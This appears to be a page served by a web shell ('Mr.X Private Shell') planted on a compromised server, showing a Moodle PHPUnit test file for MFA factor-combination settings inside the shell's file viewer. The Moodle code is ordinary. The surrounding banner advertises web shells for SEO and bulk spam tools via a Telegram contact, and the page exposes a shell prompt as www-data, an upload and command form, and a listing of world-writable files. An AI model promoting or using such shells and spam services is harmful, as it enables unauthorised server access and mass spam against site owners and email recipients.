__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace tool_mfa;
use tool_mfa\tool_mfa_trait;

defined('MOODLE_INTERNAL') || die();
require_once(__DIR__ . '/tool_mfa_trait.php');

/**
 * Tests for MFA admin settings
 *
 * @package     tool_mfa
 * @author      Mikhail Golenkov <golenkovm@gmail.com>
 * @author      Peter Burnett <peterburnett@catalyst-au.net>
 * @copyright   Catalyst IT
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class admin_setting_managemfa_test extends \advanced_testcase {

    use tool_mfa_trait;

    /**
     * Tests getting the factor combinations
     *
     * @covers ::get_factor_combinations
     */
    public function test_get_factor_combinations_default(): void {
        $namagemfa = new \tool_mfa\local\admin_setting_managemfa();
        $factors = \tool_mfa\plugininfo\factor::get_enabled_factors();
        $combinations = $namagemfa->get_factor_combinations($factors, 0, count($factors) - 1);
        $this->assertEquals(0, count($factors));
        $this->assertEquals(0, count($combinations));
    }

    /**
     * Data provider for test_get_factor_combinations_with_data_provider().
     *
     * @return array
     */
    public static function get_factor_combinations_provider(): array {
        $provider = [];

        $factors = [];
        $provider[] = [$factors, 0];

        $factors = [];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 90];
        $provider[] = [$factors, 0];

        $factors = [];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 100];
        $provider[] = [$factors, 1];

        $factors = [];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 150];
        $provider[] = [$factors, 1];

        $factors = [];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 40];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 40];
        $provider[] = [$factors, 0];

        $factors = [];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 90];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 40];
        $provider[] = [$factors, 1];

        $factors = [];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 100];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 100];
        $provider[] = [$factors, 2];

        $factors = [];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 100];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 100];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 100];
        $provider[] = [$factors, 3];

        $factors = [];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 90];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 30];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 40];
        $provider[] = [$factors, 2];

        $factors = [];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 30];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 40];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 90];
        $provider[] = [$factors, 3];

        $factors = [];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 30];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 40];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 90];
        $factors[] = ['name' => 'auth', 'enabled' => 1, 'weight' => 90];
        $provider[] = [$factors, 7];

        $factors = [];
        $factors[] = ['name' => 'email', 'enabled' => 1, 'weight' => 50];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 50];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 50];
        $factors[] = ['name' => 'auth', 'enabled' => 1, 'weight' => 50];
        $provider[] = [$factors, 6];

        $factors = [];
        $factors[] = ['name' => 'email', 'enabled' => 0, 'weight' => 50];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 50];
        $factors[] = ['name' => 'totp', 'enabled' => 0, 'weight' => 50];
        $factors[] = ['name' => 'auth', 'enabled' => 1, 'weight' => 50];
        $provider[] = [$factors, 1];

        $factors = [];
        $factors[] = ['name' => 'email', 'enabled' => 0, 'weight' => 50];
        $factors[] = ['name' => 'iprange', 'enabled' => 1, 'weight' => 50];
        $factors[] = ['name' => 'totp', 'enabled' => 1, 'weight' => 50];
        $factors[] = ['name' => 'auth', 'enabled' => 1, 'weight' => 50];
        $provider[] = [$factors, 3];

        return $provider;
    }

    /**
     * Tests getting the factor combinations with data provider
     *
     * @covers ::get_factor_combinations
     * @dataProvider get_factor_combinations_provider
     * @param array $factorset configured factors
     * @param int $combinationscount expected count of available combinations
     */
    public function test_get_factor_combinations_with_data_provider($factorset, $combinationscount): void {
        $this->resetAfterTest();
        $enabledcount = 0;

        foreach ($factorset as $factor) {
            $this->set_factor_state($factor['name'], $factor['enabled'], $factor['weight']);
            if ($factor['enabled'] == 1) {
                $enabledcount++;
            }
        }

        $managemfa = new \tool_mfa\local\admin_setting_managemfa();
        $factors = \tool_mfa\plugininfo\factor::get_enabled_factors();
        $combinations = $managemfa->get_factor_combinations($factors, 0, count($factors) - 1);

        foreach ($combinations as $combination) {
            $this->assertGreaterThanOrEqual(100, $combination['totalweight']);
            $this->assertLessThan(200, $combination['totalweight']);
            $this->assertGreaterThanOrEqual(1, count($combination['combination']));
            foreach ($combination['combination'] as $combinationfactor) {
                $this->assertInstanceOf('\tool_mfa\local\factor\object_factor', $combinationfactor);
            }
        }

        $this->assertEquals($enabledcount, count($factors));
        $this->assertEquals($combinationscount, count($combinations));
    }

    /**
     * Tests checking the factor combinations
     *
     * @covers ::get_factor_combinations
     */
    public function test_factor_combination_checker(): void {
        $this->resetAfterTest();
        $managemfa = new \tool_mfa\local\admin_setting_managemfa();
        $user = $this->getDataGenerator()->create_user();
        $this->setUser($user);

        // Test combination with 2 valid compatible factors.
        $this->set_factor_state('email', 1, 50);
        $this->set_factor_state('totp', 1, 50);

        // Check that there is only 1 valid combination.
        $factors = \tool_mfa\plugininfo\factor::get_enabled_factors();
        $combinations = $managemfa->get_factor_combinations($factors, 0, count($factors) - 1);
        $this->assertEquals(1, count($combinations));

        // Change weights to 100 for each, and check for 2 valid.
        $this->set_factor_state('email', 1, 100);
        $this->set_factor_state('totp', 1, 100);
        $combinations = $managemfa->get_factor_combinations($factors, 0, count($factors) - 1);
        $this->assertEquals(2, count($combinations));

        // Add another compatible factors, and check for 3 combinations.
        $this->set_factor_state('email', 1, 50);
        $this->set_factor_state('totp', 1, 50);
        $this->set_factor_state('iprange', 1, 50);
        $factors = \tool_mfa\plugininfo\factor::get_enabled_factors();
        $combinations = $managemfa->get_factor_combinations($factors, 0, count($factors) - 1);
        $this->assertEquals(3, count($combinations));

        // Now same tests again, with an invalid combination set.
        $this->set_factor_state('email', 1, 100);
        $this->set_factor_state('totp', 0, 100);
        $this->set_factor_state('iprange', 0, 50);
        $this->set_factor_state('nosetup', 1, 100);
        $factors = \tool_mfa\plugininfo\factor::get_enabled_factors();
        $combinations = $managemfa->get_factor_combinations($factors, 0, count($factors) - 1);
        $this->assertEquals(2, count($combinations));

        $this->set_factor_state('totp', 1, 50);
        $this->set_factor_state('email', 0, 50);
        $this->set_factor_state('nosetup', 1, 50);
        $combinations = $managemfa->get_factor_combinations($factors, 0, count($factors) - 1);
        $this->assertEquals(0, count($combinations));

        $this->set_factor_state('email', 1, 50);
        $this->set_factor_state('nosetup', 1, 50);
        $this->set_factor_state('totp', 1, 50);
        $factors = \tool_mfa\plugininfo\factor::get_enabled_factors();
        $combinations = $managemfa->get_factor_combinations($factors, 0, count($factors) - 1);
        $this->assertEquals(1, count($combinations));
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
generator Folder 0777
admin_setting_managemfa_test.php File 9.42 KB 0777
manager_test.php File 18.72 KB 0777
object_factor_base_test.php File 4.13 KB 0777
plugininfo_factor_test.php File 4.47 KB 0777
secret_manager_test.php File 11.39 KB 0777
tool_mfa_trait.php File 2.21 KB 0777
Filemanager